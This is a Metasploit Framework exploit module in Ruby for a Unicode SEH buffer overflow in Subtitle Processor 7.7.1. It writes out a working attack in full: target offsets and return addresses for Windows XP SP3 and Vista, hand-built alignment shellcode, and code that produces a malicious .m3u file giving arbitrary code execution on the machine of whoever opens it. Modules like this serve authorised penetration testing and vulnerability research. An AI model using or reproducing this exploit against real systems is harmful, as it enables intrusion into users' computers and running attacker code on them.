##
# $Id: subtitle_processor_m3u_bof.rb 12461 2011-04-28 08:12:32Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Subtitle Processor 7.  By
        supplying a long string of data as a .m3u file, Subtitle Processor first converts
        this input in Unicode, which expands the string size, and then attempts to copy it
        inline on the stack.  This results a buffer overflow with SEH overwritten, allowing
        arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: 12461 $",
      'Author'         =>
        [
          'Brandon Murphy',  #Initial discovery, poc
          'sinn3r',          #Metasploit
        ],
      'References'     =>
        [
          [ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/17217/' ],
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
          'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
          'BufferRegister'  => 'ECX',
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "seh",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3',
            {
              'Nop'    => 0x43,    #ADD BYTE PTR DS:[EBX],AL
              'Offset' => 4078,    #Offset to SEH chain
              'Ret'    => 0x57b4,  #Unicode compatible P/P/R (Subtitle.exe)
              'Max'    => 5000,    #Max buffer size
            },
          ],
          [
            'Windows Vista SP0',
            {
              'Nop'    => 0x40,    #ADD BYTE PTR DS:[EAX],AL
              'Offset' => 4078,    #Offset to SEH chain
              'Ret'    => 0x57b4,  #Unicode compatible P/P/R (Subtitle.exe)
              'Max'    => 5000,    #Max buffer size
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 26 2011" ))

      register_options(
        [
          OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
        ], self.class)
  end

  def get_unicode_payload(p)
    encoder = framework.encoders.create("x86/unicode_mixed")
    encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
    unicode_payload = encoder.encode(p, nil, nil, platform)
    return unicode_payload
  end

  def exploit

    #NOP between each instruction
    nop = target['Nop']

    sploit = ''

    #Create the exploit
    if target.name =~ /XP/

      #PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
      alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
      tmp = alignment << payload.encoded
      p = get_unicode_payload(tmp)

      #4050 bytes for shellcode
      sploit << rand_text_alpha(2)  #Padding
      sploit << p
      sploit << rand_text_alpha(target['Offset']-sploit.length)
      sploit << "\x61"
      sploit << nop
      sploit << [target.ret].pack('V*')
      sploit << nop
      sploit << "\x61"  #POPAD
      sploit << nop
      sploit << "\x61"  #POPAD
      sploit << nop
      sploit << "\x61"  #POPAD
      sploit << nop
      sploit << "\x51"  #PUSH ECX (for x86/unicode_mixed)
      sploit << nop
      sploit << "\x5e"  #POP ESI (for AlphanumMixed BufferRegister=ECX)
      sploit << nop
      sploit << "\x51"  #PUSH ECX
      sploit << nop
      sploit << "\xc3"  #RETN
      sploit << rand_text_alpha(target['Max']-sploit.length)

    elsif target.name =~ /Vista/

      # PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
      alignment  = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
      tmp = alignment << payload.encoded
      p = get_unicode_payload(tmp)

      #4008 bytes of space for shellcode
      sploit << rand_text_alpha(62)
      sploit << p
      sploit << rand_text_alpha(target['Offset']-sploit.length)
      sploit << "\x61"
      sploit << nop
      sploit << [target.ret].pack('V*')
      sploit << nop
      sploit << "\x61"
      sploit << nop
      sploit << "\x61"
      sploit << nop
      sploit << "\x5e"
      sploit << nop
      sploit << "\x5e"
      sploit << nop
      sploit << "\x5e"
      sploit << nop
      sploit << "\x5e"
      sploit << nop
      sploit << "\x56"
      sploit << nop
      sploit << "\x59"
      sploit << nop
      sploit << "\x56"
      sploit << nop
      sploit << "\xc3"
      sploit << nop
      sploit << rand_text_alpha(target['Max']-sploit.length)

    end

    #Generate file
    print_status("Creating #{datastore['FILENAME']}...")
    file_create(sploit)

  end
end